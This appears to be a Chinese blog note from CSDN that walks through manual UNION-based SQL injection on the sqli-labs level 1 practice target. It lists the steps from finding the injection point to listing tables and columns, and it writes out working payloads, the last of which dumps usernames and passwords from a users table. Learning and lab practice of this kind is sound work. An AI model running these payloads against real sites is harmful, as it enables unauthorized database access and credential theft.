SQL注入之联合注入

本文详细记录了手工进行SQL注入攻击的全过程,包括寻找注入点、判断数据类型、确定闭合方式、识别字段数、定位回显位、查询数据库信息等关键步骤。通过实例展示了如何利用SQL注入获取数据库中的表名、字段名及字段值,对于理解SQL注入原理及防御具有参考价值。
摘要由CSDN通过智能技术生成
手工注入流程
1、查找注入点
2、判断注入点数据类型。方法一:减法运算 方法二: and 1=1   and 1=2
3、字符型(判断闭合方式) 数字型不用判断闭合方式
4、闭合方式 ' , ",'),''),"),"))
5、判断字段数 order by group by 
6、查询回显位
7、查询数据库
8、查询表名
9、查询字段名
10、查询字段中字段值

目录

一、判断注入点

二、判断注入类型(sqli-labs靶场第一关)

三、字符型判断闭合方式

四、判断字段数

五、判断回显位

六、判断数据库名

七、判断数据库中的表名

八、获取users表中的全部字段名

九、查询字段位username、password的信息


一、判断注入点

二、判断注入类型(sqli-labs靶场第一关)

 使用 and 1=1 和 and 1=2 都回显正确,说明不是数字型,即字符型。

三、字符型判断闭合方式

在参数后面加入",回显正确,说明"没有起作用。

在参数后面加',回显错误,说明'带入到数据库中,从而使得闭合方式错误。

例如正确的是 'helle world'  ,当你在后面加入一个',就变成 'hello world'' ,闭合错误。(单引号闭合)

四、判断字段数

当字段数为4时抱错,说明字段数为3

五、判断回显位

?id=-1' union select 1,2,3 --+

-1是让前面报错,从而使得正确的语句回显出来。

'闭合前面的单引号

union select 判断回显位 

--+就是# 注释符,注释掉后面剩下的单引号,从而不让它报错。

六、判断数据库名

既然找了回显位置,就可以使用databse(),查找当前数据库名。

七、判断数据库中的表名

?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+

 也可使用group_concat()查询全部表名。

八、获取users表中的全部字段名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'  --+

九、查询字段位username、password的信息

?id=-1' union select 1,group_concat(concat('~',username,password)),3 from security.users  --+

 此文档只是单纯的笔记,不是教程,但是也希望能帮助到大家。

水平有限,希望大家谅解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值